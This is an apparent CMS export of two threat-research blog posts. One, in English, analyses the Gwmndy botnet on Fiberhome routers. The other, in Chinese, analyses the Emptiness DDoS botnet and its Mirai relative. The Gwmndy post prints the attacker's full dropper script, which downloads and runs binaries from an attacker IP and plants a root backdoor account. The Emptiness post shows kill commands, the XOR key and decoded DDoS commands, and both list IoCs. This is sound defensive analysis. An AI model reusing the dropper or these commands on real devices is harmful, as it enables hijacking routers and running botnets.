On July 24, 2019, our Unknown Threat Detection System highlighted a suspicious ELF file with 0 VirusTotal detection.
When we further looked into it, we realized it is a component of an IoT botnet targeting Fiberhome router. But it does not do the regular stuff such as DDos, Cryptojacking, Spaming, information stealing. Its’ only purpose is to setup the routers to be SSH tunneling proxy nodes. Also, unlike the typical botnets which try their best to infect as many victims as they can, this one has pretty much stopped looking for new bots after its’ active daily bot number reached low 200. It seems that the author is satisfied with the number which probably provides enough proxy service for whatever purpose he needs.
The ELF file itself is a Reporter, it periodically obtains the router information such as device IP and uploads them to a remote web interface so the author can get a hold of the device even the router IP changes.
Correspondingly, we also observed that the attacker developed client program on the Windows and Linux platforms, they access a remote Web interface to obtain information such as the device IP reported by the Reporter, and then use backdoor passwords to establish an SSH tunnel (Dynamic Port Forwarding). And create a Socks5 proxy service locally. We named these malware Gwmndy based on the domain name used by the attacker.
Gwmndy overview
Gwmndy contains mainly vpn.sh, Reporter and SSH Client programs, and provides a corresponding web interface through a web server to transmit information such as Bot IPs.
Gwmndy Reverse Analysis
vpn.sh sample information
* MD5: d13935ff515ffdb0682dfaad0f36419d
POSIX shell script text executable, ASCII text
We can clearly see that the attacker runs the dropbear program on the target router and adds the startup command to the /fh/extend/userapp.sh file. It also tampers with the shadow file to add the backdoor account, and runs vpnip (see below) and an open source port forwarder program rinetd.
#!/bin/sh
if [ -f "/usr/sbin/dropbear" ];then
echo "exsit"
if [ `grep -c "dropbear -p " /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\dropbear -p 23455 &' /fh/extend/userapp.sh
fi
else
echo "not exit drop"
wget -O /fh/dropbear http://43.252.231.181:30777/dropbearmips
chmod 777 /fh/dropbear
/fh/dropbear -p 23455 &
if [ `grep -c "/fh/dropbear -p 23455 &" /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\/fh/dropbear -p 23455 &' /fh/extend/userapp.sh
fi
fi
#add user admin
if [ `grep -c "admin:$1$.vb9HA2F$wLuHXrsV" /etc/shadow` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '2c admin:$1$.vb9HA2F$wLuHXrsV.WysHa9wA6GFU/:17813:0:99999:7:::' /etc/shadow
sleep 1
fi
if [ `grep -c "admin:x:0:0:" /etc/passwd` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '2c admin:x:0:0:root:/root:/bin/sh' /etc/passwd
sleep 1
fi
#/usr/sbin/dropbear -p 23455 &
if [ `grep -c "/fh/vpnip &" /fh/extend/userapp.sh` -gt '0' ]; then
echo "Found!"
else
echo "Not Found"
sed -i '/killall dropbear/a\/fh/vpnip &' /fh/extend/userapp.sh
fi
wget -O /fh/vpnip http://43.252.231.181:30777/vpnip
chmod 777 /fh/vpnip
/fh/vpnip &
wget -O /fh/rinetd http://43.252.231.181:30777/rinetd
chmod 777 /fh/rinetd
sleep 5
#ps | grep "dropbear" | grep -v "dropbear -p" | awk '{print $1}' > /fh/pid
#pid23=`ps | grep "dropbear -p" | grep -v grep | awk '{print $1}'`
#for line in `cat /fh/pid`
#do
#echo $line
#kill $line
#done
#reboot
/bin/rm $0
vpnip sample information
* MD5: f878143384b3268e4c243b0ecff90c95
ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped
We named it Gwmndy.Reporter, its main function is to periodically obtain device information such as the local SSH port, shadow password, public IP address, MAC address, and report it back to www.gggwmndy.org:30000/info.php
Linux Client sample information
* MD5: 7478f835efc00ed60c2f62e0dd5baae3
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a651eaf55606534288e20eda33c2137642d3ea60, not stripped
Interestingly, the sample has hard-coded username and password, which allows us to access the Gwmndy Web statistics page.
Windows SSH Client sample information
* MD5: d361ec6c5ea4d0f09c9ee0fdf75d6782
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Its main function is to accesswww.gggwmndy.org:30000/vsql.phpto pull Bot IP and SSH ports, with that, SSH tunnel then can be established, and Socks5 proxy service will start locally.
Obtain the Bot IP and SSH ports through the web interface.
Built-in SSH backdoor account
Enable SSH Tunnel (Dynamic Port Forwarding)
Infected IP information
We access the Gwmndy web server via the hard-coded account as mentioned above. And we could see a Bot statistics page with 431 MAC addresses and 422 IP addresses recorded. The latest creation date was March 19, 2019, which means the botnet stopped adding new members since that time, and there were 181 active MAC addresses.
All the infected devices are located in two countries.
PH 324
TH 98
We performed web fingerprinting on the active Bot IPs and modify the information of the Bot device /fh/extend/userapp.sh file by the attacker. It can be determined that these devices are all Fiberhome router, and its model number is AN5506.
Suggestions
We didn't see how Gwmndy malware spread, but we know that some Fiberhome router Web systems have weak passwords and there are RCE vulnerabilities. If our readers have more information, please feel free to contact us and provide more information on that.
We especially recommend that the home broadband users in the Philippines and Thailand to update the Fiberhome router software system in a timely manner, and set up complex login credentials for the router Web.
Relevant security organizations are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.
Contact us
Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IoC list
Sample MD5
d13935ff515ffdb0682dfaad0f36419d
f878143384b3268e4c243b0ecff90c95
7478f835efc00ed60c2f62e0dd5baae3
d361ec6c5ea4d0f09c9ee0fdf75d6782
URL
http://www.gggwmndy.org:30777/vpn.sh
IP
47.89.9.33 Hong Kong ASN 45102 Alibaba (US) Technology Co., Ltd.
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### Background introduction\nOn July 24, 2019, our Unknown Threat Detection System highlighted a suspicious ELF file with 0 VirusTotal detection. \n\nWhen we further looked into it, we realized it is a component of an IoT botnet targeting Fiberhome router. But it does not do the regular stuff such as DDos, Cryptojacking, Spaming, information stealing. Its’ only purpose is to setup the routers to be SSH tunneling proxy nodes. Also, unlike the typical botnets which try their best to infect as many victims as they can, this one has pretty much stopped looking for new bots after its’ active daily bot number reached low 200. It seems that the author is satisfied with the number which probably provides enough proxy service for whatever purpose he needs.\n\nThe ELF file itself is a Reporter, it periodically obtains the router information such as device IP and uploads them to a remote web interface so the author can get a hold of the device even the router IP changes.\n\nCorrespondingly, we also observed that the attacker developed client program on the Windows and Linux platforms, they access a remote Web interface to obtain information such as the device IP reported by the Reporter, and then use backdoor passwords to establish an SSH tunnel (Dynamic Port Forwarding). And create a Socks5 proxy service locally. We named these malware Gwmndy based on the domain name used by the attacker.\n\n\n\n\n### Gwmndy overview\nGwmndy contains mainly vpn.sh, Reporter and SSH Client programs, and provides a corresponding web interface through a web server to transmit information such as Bot IPs.\n<a href=\"__GHOST_URL__/content/images/2019/07/gwmndy.png\"><img src=\"__GHOST_URL__/content/images/2019/07/gwmndy.png\" class=\"kg-image\"/></a>\n\n\n### Gwmndy Reverse Analysis\n#### vpn.sh sample information\n- MD5: d13935ff515ffdb0682dfaad0f36419d\n> POSIX shell script text executable, ASCII text\n\nWe can clearly see that the attacker runs the dropbear program on the target router and adds the startup command to the /fh/extend/userapp.sh file. It also tampers with the shadow file to add the backdoor account, and runs vpnip (see below) and an open source port forwarder program rinetd.\n\n```sh\n#!/bin/sh\nif [ -f \"/usr/sbin/dropbear\" ];then\necho \"exsit\"\nif [ `grep -c \"dropbear -p \" /fh/extend/userapp.sh` -gt '0' ]; then\n echo \"Found!\"\nelse\n echo \"Not Found\"\n sed -i '/killall dropbear/a\\dropbear -p 23455 &' /fh/extend/userapp.sh\nfi\n\nelse\necho \"not exit drop\"\nwget -O /fh/dropbear http://43.252.231.181:30777/dropbearmips\nchmod 777 /fh/dropbear\n/fh/dropbear -p 23455 &\nif [ `grep -c \"/fh/dropbear -p 23455 &\" /fh/extend/userapp.sh` -gt '0' ]; then\n echo \"Found!\"\nelse\n echo \"Not Found\"\n sed -i '/killall dropbear/a\\/fh/dropbear -p 23455 &' /fh/extend/userapp.sh\nfi\n\nfi\n#add user admin\nif [ `grep -c \"admin:$1$.vb9HA2F$wLuHXrsV\" /etc/shadow` -gt '0' ]; then\n\techo \"Found!\"\nelse\n\techo \"Not Found\"\n\tsed -i '2c admin:$1$.vb9HA2F$wLuHXrsV.WysHa9wA6GFU/:17813:0:99999:7:::' /etc/shadow\nsleep 1\nfi\n\nif [ `grep -c \"admin:x:0:0:\" /etc/passwd` -gt '0' ]; then\n echo \"Found!\"\nelse\n echo \"Not Found\"\n sed -i '2c admin:x:0:0:root:/root:/bin/sh' /etc/passwd\nsleep 1\nfi\n#/usr/sbin/dropbear -p 23455 &\nif [ `grep -c \"/fh/vpnip &\" /fh/extend/userapp.sh` -gt '0' ]; then\n echo \"Found!\"\nelse\n echo \"Not Found\"\n sed -i '/killall dropbear/a\\/fh/vpnip &' /fh/extend/userapp.sh\nfi\nwget -O /fh/vpnip http://43.252.231.181:30777/vpnip\nchmod 777 /fh/vpnip\n/fh/vpnip &\nwget -O /fh/rinetd http://43.252.231.181:30777/rinetd\nchmod 777 /fh/rinetd\nsleep 5\n#ps | grep \"dropbear\" | grep -v \"dropbear -p\" | awk '{print $1}' > /fh/pid\n#pid23=`ps | grep \"dropbear -p\" | grep -v grep | awk '{print $1}'`\n#for line in `cat /fh/pid`\n#do\n#echo $line\n#kill $line\n#done\n#reboot\n/bin/rm $0\n```\n\n\n#### vpnip sample information\n- MD5: f878143384b3268e4c243b0ecff90c95\n> ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped\n\nWe named it Gwmndy.Reporter, its main function is to periodically obtain device information such as the local SSH port, shadow password, public IP address, MAC address, and report it back to ```www.gggwmndy.org:30000/info.php```\n<a href=\"__GHOST_URL__/content/images/2019/07/send_data.png\"><img src=\"__GHOST_URL__/content/images/2019/07/send_data.png\" class=\"kg-image\"/></a>\n\n\n#### Linux Client sample information\n- MD5: 7478f835efc00ed60c2f62e0dd5baae3\n> ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a651eaf55606534288e20eda33c2137642d3ea60, not stripped\n\nInterestingly, the sample has hard-coded username and password, which allows us to access the Gwmndy Web statistics page.\n<a href=\"__GHOST_URL__/content/images/2019/07/linux_login.png\"><img src=\"__GHOST_URL__/content/images/2019/07/linux_login.png\" class=\"kg-image\"/></a>\n\n\n#### Windows SSH Client sample information\n- MD5: d361ec6c5ea4d0f09c9ee0fdf75d6782\n> PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows\n\nIts main function is to access```www.gggwmndy.org:30000/vsql.php```to pull Bot IP and SSH ports, with that, SSH tunnel then can be established, and Socks5 proxy service will start locally.\n\nObtain the Bot IP and SSH ports through the web interface.\n<a href=\"__GHOST_URL__/content/images/2019/07/vsql.png\"><img src=\"__GHOST_URL__/content/images/2019/07/vsql.png\" class=\"kg-image\"/></a>\n\nBuilt-in SSH backdoor account\n<a href=\"__GHOST_URL__/content/images/2019/07/ssh_acount.png\"><img src=\"__GHOST_URL__/content/images/2019/07/ssh_acount.png\" class=\"kg-image\"/></a>\n\nEnable SSH Tunnel (Dynamic Port Forwarding)\n<a href=\"__GHOST_URL__/content/images/2019/07/ssh_tunnel.png\"><img src=\"__GHOST_URL__/content/images/2019/07/ssh_tunnel.png\" class=\"kg-image\"/></a>\n\n\n### Infected IP information\nWe access the Gwmndy web server via the hard-coded account as mentioned above. And we could see a Bot statistics page with 431 MAC addresses and 422 IP addresses recorded. The latest creation date was March 19, 2019, which means the botnet stopped adding new members since that time, and there were 181 active MAC addresses. \n<a href=\"__GHOST_URL__/content/images/2019/07/bot_stats.png\"><img src=\"__GHOST_URL__/content/images/2019/07/bot_stats.png\" class=\"kg-image\"/></a>\n\nAll the infected devices are located in two countries.\n```\nPH 324\nTH 98\n```\n\nWe performed web fingerprinting on the active Bot IPs and modify the information of the Bot device /fh/extend/userapp.sh file by the attacker. It can be determined that these devices are all Fiberhome router, and its model number is AN5506.\n\n\n### Suggestions\nWe didn't see how Gwmndy malware spread, but we know that some Fiberhome router Web systems have weak passwords and there are RCE vulnerabilities. If our readers have more information, please feel free to contact us and provide more information on that.\n\nWe especially recommend that the home broadband users in the Philippines and Thailand to update the Fiberhome router software system in a timely manner, and set up complex login credentials for the router Web.\n\nRelevant security organizations are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.\n\n\n#### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\n### IoC list\nSample MD5\n```\nd13935ff515ffdb0682dfaad0f36419d\nf878143384b3268e4c243b0ecff90c95\n7478f835efc00ed60c2f62e0dd5baae3\nd361ec6c5ea4d0f09c9ee0fdf75d6782\n```\n\nURL\n```\nhttp://www.gggwmndy.org:30777/vpn.sh\n```\n\nIP\n```\n47.89.9.33 \tHong Kong \tASN 45102 \tAlibaba (US) Technology Co., Ltd.\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d3fbb3b0bbc140007c57e06 |
post | null | 2019-07-30T10:42:56.000Z | 63873b9a8b1c1e0007f52f55 | emptiness-botnet | 0 | 2019-08-12T03:27:41.000Z | public | published | null | 2019-08-09T02:04:57.000Z | 那些总是想要和别人强行发生关系的僵尸网络之Emptiness | <!--kg-card-begin: markdown--><h1 id="">背景</h1>
<p>2019年06月23日我们捕获了一个全新的DDoS僵尸网络样本，因其启动时设置的进程名以及C2中有emptiness字样，所以我们将其命名为Emptiness。Emptiness由golang编写，当前发现的样本包括Windows和Linux两种平台版本。在溯源过程中，我们发现其作者长期维护着一个mirai变种僵尸网络，早期的Emptiness自身没有传播能力只有DDoS功能，是由mirai loader来完成样本植入的，后期的版本增加了ssh扫描功能，可独立完成Emptiness自身样本的传播。我们还注意到其不断修改mirai变种和Emptiness的CC协议，也许是为了对抗安全研究人员跟踪其僵尸网络攻击行为。</p>
<h1 id="emptiness">Emptiness的那些事</h1>
<ul>
<li>
<p>我们猜测其最早出现时间应该是2019年06月09日，遗憾的是当时我们并没有成功下载到<code>http:[//blogentry.hopto.org/emptiness</code>相关的样本。下图是我们捕获这个URL的时间，<br>
<img src="__GHOST_URL__/content/images/2019/08/Snip20190802_94.png" alt="Snip20190802_94" loading="lazy"></p>
</li>
<li>
<p>2019-06-23日我们首次捕获到该僵尸网络样本v1版本</p>
</li>
<li>
<p>2019-06-26日我们首次捕获到该僵尸网络样本v1.1版本</p>
</li>
<li>
<p>2019-07-03日我们<a href="https://twitter.com/360Netlab/status/1146269649887272960">曝光了其DDoS攻击行为</a><br>
<img src="__GHOST_URL__/content/images/2019/07/Snip20190731_75.png" alt="Snip20190731_75" loading="lazy"></p>
</li>
<li>
<p>2019-07-06作者更新v2版本样本，并在样本中留下了一匹"羊驼"。表示想要和我们强行发生关系。<br>
<img src="__GHOST_URL__/content/images/2019/07/image--4--1.png" alt="image--4--1" loading="lazy"></p>
</li>
</ul>
<h1 id="emptiness">Emptiness样本分析</h1>
<p>通过上线包，支持的指令，资源加密等特征的变化，可以得知其作者正在积极的进行迭代开发，我们将捕获到的样本分成３个版本，以下是它们的详细对比图:<br>
<img src="__GHOST_URL__/content/images/2019/08/emptiness.diff.min.png" alt="emptiness.diff.min" loading="lazy"></p>
<p>３个版本都使用了标准UPX壳，使用upx -d 即可脱壳。脱壳后知道这个家族是用Go语言的编写的，主要逻辑在main包里实现，函数对比如下图所示，根据函数的功能，下文将从<strong>主机行为</strong>，<strong>数据编码&加密</strong>，<strong>CC流量</strong>这３个维度来剖析Emptiness。</p>
<p><img src="__GHOST_URL__/content/images/2019/08/em_cmp-1.png" alt="em_cmp-1" loading="lazy"></p>
<center>各版本函数对比图</center>
<h3 id="">主机行为</h3>
<p>Emptiness在主机行为层面，并无太多特色，都是些常见操作，比如确保单一实例，修改进程名，关闭watchdog，清理history记录，删除系统命令，关闭系统服务之类。唯一值得一提的是会通过<strong>main_killer_init</strong>函数结束占用特定端口的进程。</p>
<ul>
<li>
<p>目的：杀死竞争对手bot，关闭常见可感染端口，达到独占受害者机器的目的</p>
</li>
<li>
<p>杀死进程实现方法</p>
<ul>
<li>
<p>V1 & V1.1</p>
<pre><code>fuser -k -n tcp
</code></pre>
</li>
<li>
<p>V2</p>
<pre><code>1: fuser -k /tcp
2: lsof -i tcp:%s | grep LISTEN | awk '{print $2}' | xargs kill -9
</code></pre>
</li>
</ul>
</li>
<li>
<p>杀死占用以下端口的进程：</p>
<pre><code>"22"
"23"
"80"
"420"
"1337"
"1991"
"5332"
"6553"
"6554"
"6666"
"6667"
"6697"
"18904"
"37215"
"42026"
"48101"
"52869"
"57643"
</code></pre>
</li>
</ul>
<h3 id="">数据编码&加密</h3>
<p>我们将以上线包为例来说明Emptiness不同版本所使用的数据编码&加密方法。</p>
<h4 id="">数据编码&加密代码对比</h4>
<ul>
<li>
<p>V1版本无特殊编码/加密资源<br>
<img src="__GHOST_URL__/content/images/2019/08/v1_reg.png" alt="v1_reg" loading="lazy"></p>
</li>
<li>
<p>V1.1版本Base64编码通信包<br>
<img src="__GHOST_URL__/content/images/2019/08/v1b_reg-1.png" alt="v1b_reg-1" loading="lazy"></p>
</li>
<li>
<p>V2版本使用XOR加密，Base64编码通信包，CC等敏感资源。</p>
<ul>
<li>
<p><img src="__GHOST_URL__/content/images/2019/08/v2_reg-1.png" alt="v2_reg-1" loading="lazy"></p>
</li>
<li>
<p>XOR加密算法（golang code）</p>
</li>
</ul>
</li>
</ul>
<pre><code>func (empt *Emptiness) Xor(data []byte) []byte {
key := "B2BB01039307BAA2"
xorKey, _ := hex.DecodeString(key)
keyLen := len(xorKey)
for idx, item := range data {
data[idx] = item ^ xorKey[idx%keyLen]
}
return data
}
</code></pre>
<h3 id="cc">CC流量</h3>
<h4 id="">指令</h4>
<ul>
<li>
<p>V1&V1.1版本支持的指令</p>
<pre><code>.cc
.udp
.dns
.http
.stop
</code></pre>
</li>
<li>
<p>V2版本支持的指令</p>
<pre><code>.cc
.dns
.udp
.http
.stop
.exec
.slow
.kill
.update
</code></pre>
</li>
</ul>
<h4 id="">上线包</h4>
<ul>
<li>
<p>V1版本</p>
<pre><code>00000000 69 6c 6f 76 65 32 36 |ilove26|
</code></pre>
</li>
<li>
<p>V1.1版本</p>
<pre><code>00000000 61 57 78 76 64 6d 55 79 4e 67 3d 3d |aWxvdmUyNg==|
Base64编码，解码后为ilove26
</code></pre>
</li>
<li>
<p>V2版本</p>
<pre><code>00000000 64 33 65 63 37 39 37 35 66 37 36 61 65 66 64 62 |d3ec7975f76aefdb|
00000010 66 63 64 63 33 63 33 65 |fcdc3c3e|
XOR加密，解密后为aWxvdmUyNg==
Base64编码，解码后为ilove26
</code></pre>
</li>
</ul>
<h4 id="ddos">DDoS攻击包示例</h4>
<ul>
<li>udp攻击</li>
</ul>
<pre><code>LnVkcCAxMi4xNjIuMjIwLjEwNiA4MCAyNTYgNTUgNzIw
Base64编码，解码后为
00000000 2e 75 64 70 20 31 32 2e 31 36 32 2e 32 32 30 2e |.udp 12.162.220.|
00000010 31 30 36 20 38 30 20 32 35 36 20 35 35 20 37 32 |106 80 256 55 72|
00000020 30 |0|
</code></pre>
<ul>
<li>http攻击</li>
</ul>
<pre><code>Lmh0dHAgd3d3LmxscnJ5LmNuIDgwIC8gNjAgNjA=
Base64编码，解码后为
00000000 2e 68 74 74 70 20 77 77 77 2e 6c 6c 72 72 79 2e |.http www.llrry.|
00000010 63 6e 20 38 30 20 2f 20 36 30 20 36 30 |cn 80 / 60 60|
</code></pre>
<h1 id="emptinessmiraishiina">Emptiness与mirai.shiina的关系</h1>
<p>我们观察到Emptiness v2使用的4个CC其中2个（ <code>luckyhere.mashiro.tk</code><br>
和 <code>imtesting.shiina.ga</code>）曾经被另外一个mirai变种作为CC被使用过，相关mirai样本<code>f6e9f3567684a0a7402ad97209b8525b</code>。根据其可感染环境验证命令<code>/bin/busybox SHIINA</code>以及常用样本文件名称<code>shiina.{arch}</code>等我们将该mirai变种命名为mirai.shiina。通过共用相同CC这一点，直接证明Emptiness和mirai.shiina属于同一个作者。</p>
<h1 id="miraishiina">关于mirai.shiina</h1>
<p>从我们的数据看该僵尸网络的作者至少从2019年03月到2019年07月一直运营着这个僵尸网络。仅从CC协议差异的角度，大致可将mirai.shiina分为4个版本，各版本部分样本信息如下：<br>
<a href="__GHOST_URL__/content/images/2019/08/mirai.shiina.diff.png" target="_blank"><img src="__GHOST_URL__/content/images/2019/08/mirai.shiina.diff.min.png" /></a></p>
<p>可以看出作者一直在持续更新其样本，后期不断修改CC协议，也许是为了对抗安全研究人员跟踪其僵尸网络？另外从我们跟踪结果看，该僵尸网络的攻击指令从未间断，一直处于活跃状态。下图是一些攻击指令示例：<br>
<a href="__GHOST_URL__/content/images/2019/08/mirai.shiina.cmd.png" target="_blank"><img src="__GHOST_URL__/content/images/2019/08/mirai.shiina.cmd.min.png" /></a><center>mirai.shiina DDoS 攻击指令</center></p>
<h1 id="emptiness">我们好奇作者为什么要新建一个emptiness僵尸网络</h1>
<p>从前面的分析可以看出，作者长期在维护这个mirai.shiina僵尸网络，从不断有攻击指令看估计也控制了不少肉鸡。既然已经有一个发起可以攻击僵尸网络，为什么还要建一个新的呢？真实原因不得而知。我们猜测也许是为了：</p>
<ul>
<li>跨平台？Emptiness由golang编写。golang天生强大的可移植性，用golang编写代码可轻松实现跨平台。当前golang已支持的平台包括<code>android/arm</code>，<code>darwin/arm</code>，<code>linux/arm</code>，<code>windows/arm</code>等40多种。</li>
<li>逃避杀毒引擎检测？我们都知道mirai烂大街，大部分杀毒引擎都能检测出来。作者构建一个全新的出来了也许是为了降低杀毒引擎检出率。我们将其中一个样本投递到<a href="https://www.virustotal.com/gui/file/780583f9c8f9da8c4bd2773dff4ca608395ad284908134be72499ed00ae6eab6/detection/f-780583f9c8f9da8c4bd2773dff4ca608395ad284908134be72499ed00ae6eab6-1565015313">VT</a>，只有一家杀毒引擎检测为恶意软件，其他厂家均未检出。</li>
</ul>
<h1 id="ioc">IoC</h1>
<h3 id="emptinesscc">Emptiness CC</h3>
<pre><code>emp.web2tor.cf
bruhitsnot.tk
bruhitsnot.cf
emptiness.web2tor.cf
version2.ilove26.cf
luckyhere.mashiro.tk
imtesting.shiina.ga
ggwp.emptiness.tk
</code></pre>
<h3 id="emptinesssamplemd5">Emptiness Sample MD5</h3>
<pre><code>f41464471a0ac9c165e4aeb55283934e
420bb6147ca091a22f8f5bbbb49d51f3
7b1943ff6c563ce1043963e2f017ad8d
53bb43411ecbad39b18b0662b53c07a0
1899667e48c64b113c0de54cf3bb63d5
</code></pre>
<h3 id="miraishiinacc">Mirai.shiina CC</h3>
<pre><code>34.80.131.135
shiina.mashiro.tk
shiina.mashiro.tk
luckyhere.mashiro.tk
imtesting.shiina.ga
</code></pre>
<h3 id="miraishiinasamplemd5">Mirai.shiina Sample MD5</h3>
<pre><code>77e7dd8982e7bb21d536264f0635d5cb
209a78969d88c667c32e550ce47b8ff9
0cf288e07e888cd7748b30fa4a67ca84
f6e9f3567684a0a7402ad97209b8525b
</code></pre>
<!--kg-card-end: markdown--> | 背景
2019年06月23日我们捕获了一个全新的DDoS僵尸网络样本，因其启动时设置的进程名以及C2中有emptiness字样，所以我们将其命名为Emptiness。Emptiness由golang编写，当前发现的样本包括Windows和Linux两种平台版本。在溯源过程中，我们发现其作者长期维护着一个mirai变种僵尸网络，早期的Emptiness自身没有传播能力只有DDoS功能，是由mirai loader来完成样本植入的，后期的版本增加了ssh扫描功能，可独立完成Emptiness自身样本的传播。我们还注意到其不断修改mirai变种和Emptiness的CC协议，也许是为了对抗安全研究人员跟踪其僵尸网络攻击行为。
Emptiness的那些事
*
我们猜测其最早出现时间应该是2019年06月09日，遗憾的是当时我们并没有成功下载到http:[//blogentry.hopto.org/emptiness相关的样本。下图是我们捕获这个URL的时间，
*
2019-06-23日我们首次捕获到该僵尸网络样本v1版本
*
2019-06-26日我们首次捕获到该僵尸网络样本v1.1版本
*
2019-07-03日我们曝光了其DDoS攻击行为
*
2019-07-06作者更新v2版本样本，并在样本中留下了一匹"羊驼"。表示想要和我们强行发生关系。
Emptiness样本分析
通过上线包，支持的指令，资源加密等特征的变化，可以得知其作者正在积极的进行迭代开发，我们将捕获到的样本分成３个版本，以下是它们的详细对比图:
３个版本都使用了标准UPX壳，使用upx -d 即可脱壳。脱壳后知道这个家族是用Go语言的编写的，主要逻辑在main包里实现，函数对比如下图所示，根据函数的功能，下文将从主机行为，数据编码&加密，CC流量这３个维度来剖析Emptiness。
各版本函数对比图
主机行为
Emptiness在主机行为层面，并无太多特色，都是些常见操作，比如确保单一实例，修改进程名，关闭watchdog，清理history记录，删除系统命令，关闭系统服务之类。唯一值得一提的是会通过main_killer_init函数结束占用特定端口的进程。
*
目的：杀死竞争对手bot，关闭常见可感染端口，达到独占受害者机器的目的
*
杀死进程实现方法
*
V1 & V1.1
fuser -k -n tcp
*
V2
1: fuser -k /tcp
2: lsof -i tcp:%s | grep LISTEN | awk '{print $2}' | xargs kill -9
*
杀死占用以下端口的进程：
"22"
"23"
"80"
"420"
"1337"
"1991"
"5332"
"6553"
"6554"
"6666"
"6667"
"6697"
"18904"
"37215"
"42026"
"48101"
"52869"
"57643"
数据编码&加密
我们将以上线包为例来说明Emptiness不同版本所使用的数据编码&加密方法。
数据编码&加密代码对比
*
V1版本无特殊编码/加密资源
*
V1.1版本Base64编码通信包
*
V2版本使用XOR加密，Base64编码通信包，CC等敏感资源。
*
*
XOR加密算法（golang code）
func (empt *Emptiness) Xor(data []byte) []byte {
key := "B2BB01039307BAA2"
xorKey, _ := hex.DecodeString(key)
keyLen := len(xorKey)
for idx, item := range data {
data[idx] = item ^ xorKey[idx%keyLen]
}
return data
}
CC流量
指令
*
V1&V1.1版本支持的指令
.cc
.udp
.dns
.http
.stop
*
V2版本支持的指令
.cc
.dns
.udp
.http
.stop
.exec
.slow
.kill
.update
上线包
*
V1版本
00000000 69 6c 6f 76 65 32 36 |ilove26|
*
V1.1版本
00000000 61 57 78 76 64 6d 55 79 4e 67 3d 3d |aWxvdmUyNg==|
Base64编码，解码后为ilove26
*
V2版本
00000000 64 33 65 63 37 39 37 35 66 37 36 61 65 66 64 62 |d3ec7975f76aefdb|
00000010 66 63 64 63 33 63 33 65 |fcdc3c3e|
XOR加密，解密后为aWxvdmUyNg==
Base64编码，解码后为ilove26
DDoS攻击包示例
* udp攻击
LnVkcCAxMi4xNjIuMjIwLjEwNiA4MCAyNTYgNTUgNzIw
Base64编码，解码后为
00000000 2e 75 64 70 20 31 32 2e 31 36 32 2e 32 32 30 2e |.udp 12.162.220.|
00000010 31 30 36 20 38 30 20 32 35 36 20 35 35 20 37 32 |106 80 256 55 72|
00000020 30 |0|
* http攻击
Lmh0dHAgd3d3LmxscnJ5LmNuIDgwIC8gNjAgNjA=
Base64编码，解码后为
00000000 2e 68 74 74 70 20 77 77 77 2e 6c 6c 72 72 79 2e |.http www.llrry.|
00000010 63 6e 20 38 30 20 2f 20 36 30 20 36 30 |cn 80 / 60 60|
Emptiness与mirai.shiina的关系
我们观察到Emptiness v2使用的4个CC其中2个（ luckyhere.mashiro.tk
和 imtesting.shiina.ga）曾经被另外一个mirai变种作为CC被使用过，相关mirai样本f6e9f3567684a0a7402ad97209b8525b。根据其可感染环境验证命令/bin/busybox SHIINA以及常用样本文件名称shiina.{arch}等我们将该mirai变种命名为mirai.shiina。通过共用相同CC这一点，直接证明Emptiness和mirai.shiina属于同一个作者。
关于mirai.shiina
从我们的数据看该僵尸网络的作者至少从2019年03月到2019年07月一直运营着这个僵尸网络。仅从CC协议差异的角度，大致可将mirai.shiina分为4个版本，各版本部分样本信息如下：
可以看出作者一直在持续更新其样本，后期不断修改CC协议，也许是为了对抗安全研究人员跟踪其僵尸网络？另外从我们跟踪结果看，该僵尸网络的攻击指令从未间断，一直处于活跃状态。下图是一些攻击指令示例：
mirai.shiina DDoS 攻击指令
我们好奇作者为什么要新建一个emptiness僵尸网络
从前面的分析可以看出，作者长期在维护这个mirai.shiina僵尸网络，从不断有攻击指令看估计也控制了不少肉鸡。既然已经有一个发起可以攻击僵尸网络，为什么还要建一个新的呢？真实原因不得而知。我们猜测也许是为了：
* 跨平台？Emptiness由golang编写。golang天生强大的可移植性，用golang编写代码可轻松实现跨平台。当前golang已支持的平台包括android/arm，darwin/arm，linux/arm，windows/arm等40多种。
* 逃避杀毒引擎检测？我们都知道mirai烂大街，大部分杀毒引擎都能检测出来。作者构建一个全新的出来了也许是为了降低杀毒引擎检出率。我们将其中一个样本投递到VT，只有一家杀毒引擎检测为恶意软件，其他厂家均未检出。
IoC
Emptiness CC
emp.web2tor.cf
bruhitsnot.tk
bruhitsnot.cf
emptiness.web2tor.cf
version2.ilove26.cf
luckyhere.mashiro.tk
imtesting.shiina.ga
ggwp.emptiness.tk
Emptiness Sample MD5
f41464471a0ac9c165e4aeb55283934e
420bb6147ca091a22f8f5bbbb49d51f3
7b1943ff6c563ce1043963e2f017ad8d
53bb43411ecbad39b18b0662b53c07a0
1899667e48c64b113c0de54cf3bb63d5
Mirai.shiina CC
34.80.131.135
shiina.mashiro.tk
shiina.mashiro.tk
luckyhere.mashiro.tk
imtesting.shiina.ga
Mirai.shiina Sample MD5
77e7dd8982e7bb21d536264f0635d5cb
209a78969d88c667c32e550ce47b8ff9
0cf288e07e888cd7748b30fa4a67ca84
f6e9f3567684a0a7402ad97209b8525b
